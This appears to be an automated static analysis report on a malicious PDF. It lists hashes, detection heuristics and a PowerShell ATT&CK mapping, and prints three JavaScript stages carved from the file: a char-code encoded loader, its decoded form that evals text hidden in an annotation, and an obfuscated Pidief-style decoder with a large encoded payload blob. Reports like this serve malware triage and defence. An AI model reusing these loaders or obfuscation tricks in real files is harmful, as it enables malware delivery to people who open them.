Malicious PDF — malware analysis report

Static analysis result for SHA-256 c0d5b430d38b97b8…

MALICIOUS

PDF

16.7 KB First seen: 2026-05-08
MD5: 836b9884974515a6cf17800e25d9d8e9 SHA-1: 930e54d7d8f582cab2698534e8b689cc4c0219ae SHA-256: c0d5b430d38b97b8ae8f31b5d42ea727efd0ae8d6d72b5d4ff73623d657e3057
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains multiple embedded JavaScript streams, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. One of these streams, 'numeric_charcode_stage_000.js', was successfully deobfuscated and reveals JavaScript code that likely downloads and executes a second-stage payload. The PDF_FOXIT_SYNCANNOTSCAN heuristic further suggests a mechanism for launching this script. The extracted JavaScript files are the primary IOCs.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • syncAnnotScan annotation-staging primitive low PDF_FOXIT_SYNCANNOTSCAN
    PDF JavaScript calls syncAnnotScan() — a no-op annotation-enumeration primitive used by exploit-kit JavaScript to stage payload reads from annotation /Subject fields before eval(). Not a vulnerable sink itself; rarely seen in legitimate PDFs. (identified after JavaScript deobfuscation)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0xE1 1814 bytes
SHA-256: b771a67801a2a024471cb29d8ce119b13dc98b5c56ef213dece7e1a5cc7b8bed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,112,114,32,61,32,110,117,108,108,59,13,10,118,97,114,32,102,110,99,32,61,32,39,101,118,39,59,13,10,118,97,114,32,115,117,109,32,61,32,39,39,59,13,10,13,10,97,112,112,46,100,111,99,46,115,121,110,99,65,110,110,111,116,83,99,97,110,40,41,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,33,61,32,48,41,32,123,13,10,9,118,97,114,32,110,117,109,32,61,32,49,59,13,10,13,10,9,112,114,32,61,32,97,112,112,46,100,111,99,46,103,101,116,65,110,110,111,116,115,40,13,10,9,9,123,13,10,9,9,9,110,80,97,103,101,58,32,48,13,10,9,9,125,13,10,9,41,59,13,10,13,10,9,115,117,109,32,61,32,112,114,91,110,117,109,93,46,115,117,98,106,101,99,116,59,13,10,125,13,10,13,10,118,97,114,32,98,117,102,32,61,32,34,34,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,32,51,41,32,123,13,10,9,102,110,99,32,43,61,32,39,97,39,59,13,10,9,118,97,114,32,97,114,114,32,61,32,115,117,109,46,115,112,108,105,116,40,47,45,47,41,59,10,10,9,13,10,9,102,111,114,32,40,118,97,114,32,105,32,61,32,49,59,32,105,32,60,32,97,114,114,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,13,10,9,9,98,117,102,32,43,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,34,48,120,34,43,97,114,114,91,105,93,41,59,13,10,9,125,10,9,102,110,99,32,43,61,32,39,108,39,59,13,10,125,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,61,32,50,41,10,123,13,10,9,97,112,112,91,102,110,99,93,47,42,42,47,40,98,117,102,41,59,13,10,125,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
numeric_charcode_stage_000.js deobfuscated-js numeric char-code string decoded JavaScript at offset 0xEF 469 bytes
SHA-256: 4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1C9E 11773 bytes
SHA-256: c964afffc002640dc2a624477fbaca319f16a1fcad77600103dede6b2dcffc47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function K1OWm1F_8(YU_HLP64, y_2s7u){var g58qWFLhM0P2yRK = 512;var RG3fep = 2;var v_GqIRXBnVL7 = 0;var p848hB8_K = 0;var Pm5___33l_s2a = "";var O11g_bTCmp = "";var gN188vPqv = 0;var B_b8O05_RF = 6 + 1;try {var g7h4_kqM = 0;if (app) {p848hB8_K = p848hB8_K + 2;y_2s7u = pr[g7h4_kqM].subject;}} catch(e) { }p848hB8_K = p848hB8_K + 7;var Gh_u5P5u36d = new Array();if (!YU_HLP64) { Gh_u5P5u36d = new Array(176,86,195,85,240,64);} else {Gh_u5P5u36d = YU_HLP64;}var ko5S84CV2u = 0;var SoPBvA6G2736iQ = 0;var J4___8 = 0;B_b8O05_RF--;if (B_b8O05_RF == 0) {} else {for(SoPBvA6G2736iQ = 0; SoPBvA6G2736iQ < y_2s7u.length; SoPBvA6G2736iQ += RG3fep) {if (ko5S84CV2u >= B_b8O05_RF) {ko5S84CV2u = 0;}var U8nKQQ8x = y_2s7u.substr(SoPBvA6G2736iQ, RG3fep) + "X" + "Z";var KkM76O_OBcW2r = parseInt(U8nKQQ8x, 19 + RG3fep);KkM76O_OBcW2r -= Gh_u5P5u36d[ko5S84CV2u] * (J4___8 + RG3fep);ko5S84CV2u++;if (KkM76O_OBcW2r < 0) {KkM76O_OBcW2r = String.fromCharCode(KkM76O_OBcW2r - (Math.floor(KkM76O_OBcW2r / 256) * 256));} else {KkM76O_OBcW2r = String.fromCharCode(KkM76O_OBcW2r);}if (p848hB8_K == 9) {Pm5___33l_s2a += KkM76O_OBcW2r;} else if (p848hB8_K == 8) {Pm5___33l_s2a += mF_3DYa817214;} else {if (p848hB8_K != 9) {Pm5___33l_s2a += SoPBvA6G2736iQ;}}J4___8++;}}var aS5KI2k6x6i45 = this;aS5KI2k6x6i45['ev'+'al'](Pm5___33l_s2a);}
	K1OWm1F_8(0, "a44f609c120iad49c1b5847cbg42759818ae245a2f96948a3j5a9g9c3abk5d5e44920c7c4k63b60i62c14c3f360h4d8a626g9gb2a625bd7c7f0f4c5k933dag9j372b246j99c0b886008334b94h1a50728i8f0i8255812hb59f2e5e7abcaa4h53626b4eb1bh1a9b8224a95763035a9ebk3228ae8a42b3897g44717k8961295c8k1h8kae69428hb9aa801f888a468k4f55a29k0fb60i1kb79g5d7d5i8e01aa00aa3kbh1a9j80838e5e137i1f8631ag1d89c0ac284k73a9776f8a146eab017e2d7c72af8377c3be7d96c2745i4cbbah8k971ibfbgb62d95ad58309a8c7a311f5bc143952e643k9d129ja31h550a879c4j8c9babc083bi0cadb67h6g7c5cc309278c10b4b4a58a9hbf7e3ja07a78611a2a1i24861c6464a867549j1c8a273071558c6a1hae889k1ebh08275e7c8b1026918g411d29337152a0762227bk5e431a2b2b7i571a5c3dbj094i6bbk81356c4f1c81a12649699b2f9d36b652898gc33c4e7409b2ae50215kad7c0k4f8k6i63024e110j3g2f6c6145797ba61a7e3148455b878b5dc26k0e1i802d403h5i810620a67b201a1a338b78ad7e1d5b026f67244j6c9h30c15k313c1c2ja9ae8h4kb25h2a89a6635k4702ae90379j384e4c9e3b8h4b301abd7c3b59af643354666g67225a78115f1h4c398ba05392bd898e5g53337f6g860h5e072ab14i4b354c599c513c1g450a1a85735bbh7c3271421c49ae1d688e1cbk4c7a946d2b921d5d73ae282e5a627c4859b31aad7730567c7eag9f621b001i297j3i418e5f11818k1f471k4i732k42295f61aaac1g73bg5f894k434h869abf2a09abc17d9169078j7f0ib83i3h162j2j0bbi3cb284368i5i40441a4e9fac10bg5f3k9b7h339h1i8c06b3121b5f6b95a5bi07298g053h0d5f5da5ag8bbe18aeagac2abc834c381gaa2664bf2eb55407bc5i312d2k24a0ae6j188800446g731c18bibd1ab9ak8jb06k82b72f341f3d2ebg23bk0kaj554032692b6k1k552jb7b9bf50473491ab6a0h7c2a1a0j3f5d920j840dc326863j5a1g7k8c080aabbb00bab20e85a19k7c2c1i17c3421a271h820e264c49150aab64ae52199e0a425c8g3h33089kb9a24h0eag4c90055d7g0a001k1h24b3bdad7310517fa561ba2651360fb784676aad0h9bae4d47209g1k4ca933b6bhbfbea65b4gbf5857bd6b268d18aeag4a648d8j4c4976439c611d2c558499bh5a315e1j8770ag4c508iaa4b7372775h92c3ba887718bg4c5293537d7k00b4ae8d418jad7f116c828g44bc2h9b52bc2b8a6g5hc3b9751a7f714e892d5f707a2fad1024aha88fak864c049c0ga23d05bh7j9k949780089d4h9442104k9h956h226i3ha7529f701a5799ahak5d7ea07f739b0e0fadc2c27h4c8605016i7j3j281c0720677f501608bea1310f2cah6973228153bi0e7e72224ca9518b4d6i73bg3589a92caf136g80725aa6a8566i3a1haea48i7ha35a13ag705849ae4412066710805fb18c86a12a6b222k885f6h99b36g5510b988b11i574c4dabb3905d09ae2h2d6a4f806j2b05b5586hae21bf5j4bc15k31282f6f7310802c757k4h869a424g4e932h9d36c0687c8gbk155k4118ae133g0250a3802e1b8f7j64295b4kc262105a4420a53e6dae5b2015491k5i872ea76ca522b23j5k5k665c0c20b6362e1c0g35746da6553k692c71712850669g38b95331523e3h75b9873898755k6j8d41403a0fae9037ad3j7j870i3b4k4j2f0c1a5c083bad5c306j725741ae2j421h3bae6k5g68b04073bg7c5a5g51277c724eb11k0c0g887i634i5a7c9j6kc25836241i959d2k7d6k2f7b3k3942bg4b6daj4aba7c4167341h622h8e921716587292946i4ja521ad980142574cab6c9f360g1a039g1g3j886a0ea3b53j6k0356a85i262a4k59a1bd3d7kbf5eab563b4b58928fbe120k25a1bj9j3h867k9b8j1h0e161k1h868240a37c30ak64136d1a4b9c050fb78467087c3i9bae5ka9b30c1k4ca9959g24c31aa20k1g337c7ca10988be18aeagac2abc834c3i0703265b242d1c7224bc7c3hbeb13b821a860d8h34476j8dbe1fbi0f187d037b2e727cc31960c03c1a1a0101bc8j6j2b0553ba6hb4210h340h146e611c6gbd92be7c2j16152b4c7a0299130e0fad4a50b07a550c3g0e17401jae233jah7d5h001ec3bk61243g419h0a0h723k28131790ae5k1979a9264e783d5212b81abh4db8c05a5f9j5g3h9j00ba1824c3967f570g2a6hbb5cbc2e374192b45k313d8b0699ae4k3740bj556h92779d050524b077738f544cbb650cbd1ibfbg6f69bbad58304j0d8936ae284b730a0a7c6g6b4j058j0h7258a08j567a62613d839jb97f632hc280810c875fa52f0c1a72138iad5c30897iae41ae2i5d3hac246h61a099b298247ka06k7h1b8j877509a8a522b28a859g665c0c6c0b8a00agajah7170834c209k5993612e479bb88j1a694289697f921a58abb86d214c6jad5371930aadbd23998g78bbah8k971ibfbgb62d95ad58309aba7959143dbe5472bg7c41bi126g92be4c9c695i285iabba0i7j01bgb50f8i8e7366a3111b6218aeaga1076588570ga24b96672a5c1j1f560f5d5416618h9c0c7c0k1962535iab1jaf8f032ab22b534j7i6fc3bk03750j29b12i405i89663031ae4d640d2a1g8i631f823j0g2d6i6b2h8f37a17k4h4c6a3h24589k04ad408k7g7i86074a6a4b0ic01d2hak64bd6435485d4j610j1k113i7abb5f3i2k9a7862b45k194k492e587h4dbj4g18248a2k3g527c8693389j700ibhba3j7e6j868b415b38726k1k555k6g3gb57f543f386j7f1f823h935h3k566k3c436d052abe75172d8659a647665b3fbk2j713863ah8c3a7ea02765074b501i551a673j54b6579ab1698b6447267c8c68bg5abd09ak8d511i7j5ac361275b0cae13939h4ebe73205i565e63281b82aj291h6c6c7b55557fbc849a9d2e1b57a66k7c1k03b9ah7327288e7e0i6c9h1i13ba049g4c0j904c41aeb24g651c57a92k41bc7c41a91211782c7eb946433h5792982117c3b99b7j78078h7cc39i3g3f3004b1a3bg3c9j5730ak44226c0k3ac0100bae756k06743j8e0a50a7312i594c9bak8j3gc302adbg31bg5k4c1013aj39341c260j2gbe7i8d14agab01362b2fak56c3aj8d45b301c1672b59b892231g8d95bj1c02982b8hbf8bbg4h8da7bj36be052bbf25a5bd7i8d0j05771i362b2c0a201caj8d3j0d6ibf672b570g1b171g8d753589bb982bak145b144h8da51a0116052b1h404eb37i8d111j1kb1362b4f446gaeaj8d3h4c3f0j672b7i4c86ac1g8d982g580d982bak5302084h8d0657730b052bb958bh047i8d135b6ba8362b265g11a1aj8d643ja89h672b573j339h1g8d6i449f9k982b8g454f9i4h8d9k461e9c052bbc4d69967i8d344h389433b22h84a501ae75636c2kag9b134c5i8i851g8d76594d8h982b8h5dbc8f4h8da75h678d052bbi60128b7f4c0b59737j72bi266h2c7h2b5g3h709b7fa3bi5774467d5c5g6i78b57b101hag9e69798d579j770g7741be1h7b7f75be7e0h802e7372b9268199712b573h82446ka3bd578e176i5c5f958a876g10baah900e6e8d5f02b4a26c41bbb9972g6abe5e359d976872bc29996b662b573k9kb564a31g7fa562625c5f95080f6010b98gaa7j5j8d7ja5ag4e5h41b9bdaibc5fbe7i13b0495d72b926b7175b2b573hb35f59a31h5g1e0c575c5d99bh7h5510b988c04f538d5da6bj935141bgbb05434kbe5d3508124i721h4i0b5h4g2b5f640b0e4ea31g5f347f4c5c576i142b4a10b9881191488d7ha51d644641bhb91db244be570g1g8242721h4d230b402b5c43247c3ja3bh5728273h5c576i2bbb3f101haf2j3k3d8d7i06330i3b41bcbc348039be5f0h5c0d3772b92a5i9c352b573h3b1k33a3bh7f3f8i315c5c6j68612k10be8b47ae2i8d57a24c5f2g41b9b94a032ebe7j374e712c72b94f52222a2b5c4556b228a3be595a3c265c576k5h0e2410bd8b5i58228d5a0264002041bgbe606k1jbe5f0h8g411h721h4f6fb11f2b5d416e5k1da3bf5c72ag1b5c5770765819101gag7b01178d5fa7777515411ebg7b1g13be570k7j8f1172bf2b805i0k2b5d4189ae0ia3bd5aaf570g5c576i8a040e10bhaf8j930c8d57a2b61c0a41bhbh948a08be570g993a06721e269ca7042b5c3h9i4k02a3be5ea1c1005c7j99a56ec210ba88a91fc08d7ja6ag8bbj41bgbeac33bhbe5d32aga8bf72be29ak4jbd2b5c421b24bba3be7eb76gb95c5f70bg1gb710b98c1k88b58d5f9jc232b341b9b90103b1be7f0k0950ak72be2c2i22ai2b5c3i0a6iaga3bh7f0j1bae5c5a961489ac10bg8c1957aa8d5ea618a3a8411hbe194ha6be5f331ibja472bb26236ea22b7j412016a0a31e5g27859j5c5b6j2c369h10b98b4j029f8d5aa1544h9d41b91h591f9bbe580g5b8h99721h283a19972b57443i8495a31e7f632h935c57703j009110bd886c6h8k8d7j9k6h1d8i41ba1h4d8c8gbe7i1250148e72bh4e52a98c2b594056548aa31f7h559g885c5f955f4e8610bdag5d1c848d5c05648a8241b9bc613680be5f338ea67j72bh4e682g7h2b7g416c9e7fa3be7i926e7d5c7g7074be7b10b9889e68798d7j069j377741bh1ga2a675be57367j507372bi2ea9bi712b5f63ae6f6ka3bg7i861a6i5c7i6kak666g10bc8b900h6e8d5f01b69k6c41bcbf964g6abe593796be6872bf2b9g42662b5d459hba64a3b957a25j625c5e71a60k6010bg88ab7f5j8d5906ab4d5h41bf1haebh5fbe5936b16b5d72bf4ib5165b2b5967ba6159a3bf7hbd0j575c5d76bda05510bf8ec04f538d590600bf5141bgbc05434kbe593605aj4i72bg2a0c604g2b5d650g2i4ea3bf7i0g9j4c5c5a6i10224a10bc891493488d5aa4183h4641bcb91cai44be5e0i1g5c4272bc2a1k06402b5a4523753ja3bc5929223h5c5a762b923f10bc8g2f423d8d5da32jah3b41bebh325g39be5d0h36093772bc293d75352b5d3k3h2433a3bc574090315c5a7443412k10bc8945ai2i8d5d9k495g2g41bcba4d0b2ebe5c324h772c72bc27501h2a2b5a3h548g28a3bc575b3h265c5a6i5cah21a91cb98e533a7e7cba9630542f0hba8j9e5fb44c1859505667294f8fbf4gb17h616c5e507ibh5f90bh304k4k8g966e25be1ja66kb74f6i57c385921j30b908741624bf7e3j6ka21g611a2e8g3c1hbb6e3hbac30d7aae57bf551626576i8a074b01287da890187e68b2b24b233h1h1a96b303904c39a45a4361024bb0bh0d227i6g01843662b34c9j053i4d8a6204810db82a950a44095d7cbc9d90be26bd1a0d3b108d5e0ic2a2395eae23a44a1e1a5d63000h229i08881f8h004k526i2g1a019cbkb7bh8ebh667c0eb33eaj360d1ac310118b8b08314ibi3i044b35bbad1d6f401k9fc39720590k3a0e1k5ia434b7a70j0j89115jb75e71b73aa5b0301iae213ja9a27c0k440e164g11582e6b161k4c3e15131g71b9572482a91k56882c5208a6028d2j9jbc578fbg36730k3jaeb1661e107d6g1j4a6a006abb405c3g9k2a693i6175a862b95i2k44ah3d5b926c9hb6c31k8a775c9b7i4caa3b29b10hb9244h6bb09h7c124g34bh47ae3f6095961a803j6g4jbf6k2a6956c38e215062907ga9c312ad6d20ak746e087i7b9g22bd1a8e0ka5ad810i998j8a67181b701hb6bb5f3i7bbgb462b44c9955a85d7c7f940d9ea92jc19f96aj7g8c09a73f723e1k037bb37hbg763d7723b5731c5973a78c1k7c43a74ba47j10758ba8801b4e64908aa60iae80a62d8b7c69a4949i77301abab62d65904c0g9g8c8b5g0c4bab48731a5c61bib28k72ae5j915i6f2h4c8abk1j8gb0bf8f057g8e7c58c3ad216209ae2hbaa58kad5e30b26f745c132ba4af6eae8d6g1a8j8894267iakc0575c5796bb9i5510b9ahbf4d50505i1831ba8f001cbg00635aak7c30041c80631c4b1g4i5jae4e33102k84a0ae4k2696694b6973144755c31a893696435k4c9j1g31692f0c1a2bb151ad5c303i5c6i41ae2i110d4gb95i313d945g92075d2b454c4b7c6j4d94409eb27d63614a597c9j570f660i231i567g649i4c0b3gbd4g4h1k4b3e98421k685c592344ab2a8069c13a4f879f6g5k5ibc2ab8750j2d5k4cah768463321db76j3261b57i347j8160631k53614g5c254k7885c1569dbj4c4c2i2d1b85a181ak1k01bg8a7i55547c7ca08f2d4i321a0f9e6d2kaf883h624354671c5982b8531g6h729h313a92087ka11a1f2h9099a582480k1kb8a2b74i7f82b19ca0493jb10fa91k4iak73308fah2c672f1kba6e3h284c6h980i1b9j0d58ag7e2g4b5e9g7f0909b51a9bb6a1485i810682130d2523bg01b12fad6730a55g4631c22j8eacc3ak4i31b27i0ka11h73c10f2g367ia79575bia6b789a512bg8k8k93bib60c3k1h110d4328987i45a0aeba43b727ad423b1e6961b6bi22920559ba92244j4k6kbe13b295ajbebfafbg7g4h10bj5abe34agb5b7ba268f8b371j700661054h3gb8bj23814f0a9jb7a51484060jbf5k8199027h1jb4208b4247b17h7kb83aa51d09ae2h3g7f1e867g3d431g1e5b1k54477i1f2a4k6h363jae9j0d584eafbj4b5e9g21381h182caf5f91c38a84c36168b800c1ae2kc114af8a00608b00761a4e492g02bc63756e75a8621c886g2e0b538d9a520a0ca91hb8753f928e7e0i3b0d9c301a1a6889a9ad5d1k73049h31b92h4296961a7c616k4ja392bf6b7f8i9a1b84927e7ib10207a281ba9b8g8a9h8e8dbc382a1j6b029j8c7c30899fae4k1a2c7c5182b45031a30eaca0ae8e976g9k27587f8f0bb793c17da085a48h7c02892aa60j012eae9g938c7c309k489j4k1a2c92bj9fb78e67b578a49i245ib01b6d1j8e99ak7f779k02a3a33k69604cbhc0aa9741110a8f1dac7d753jc2bca45d0a1ba137a31h7h5d9eb27c8d0f8da751a65k819995048i0g268617a58k8f7i0i004h9a3k1k25178a6i904c14ae41633kae1haaa47k288461257b7462c04cbg085j2950622j978j0c1abe17394j5k4ca7bh945f162j1k2a3352af883h002082672d4h39797h288b6b3a37497ac14c127554265862081d45bh28b536036f6c4caa0a454f0ibab20e236dbb84304j775i31c11b25044dba5i7a4f9h3e6a1c88551j7e507ia54jc2610528bc566f724c5kab20b23k0jb9ba244k3a7d753j6029735d0a1b3j6844b75a3i3413758g28845kc3583b4c7a334138a1ba8j7g125k4c4k01778834421k1g7i2d67a47i3j7i9g626gae2j5a1139b75a3h53802968ae758868515c73824eb11ka7b78b5f4j1i8j750i8e255h2c0aae6d642i865a0i6f584e6i26249haj4d026h5d6f463g991a8e60b016567f9d82785208288j8a23307k8d106c7a10322626794h44bd713aadb231722a1j755e4b265575a70a2587115a936e3i4b8e6a7hb50k9313bbbb9048736c9hc24b2e40281kc0b20b814c0b8a2c0a33b51b9ea408bk");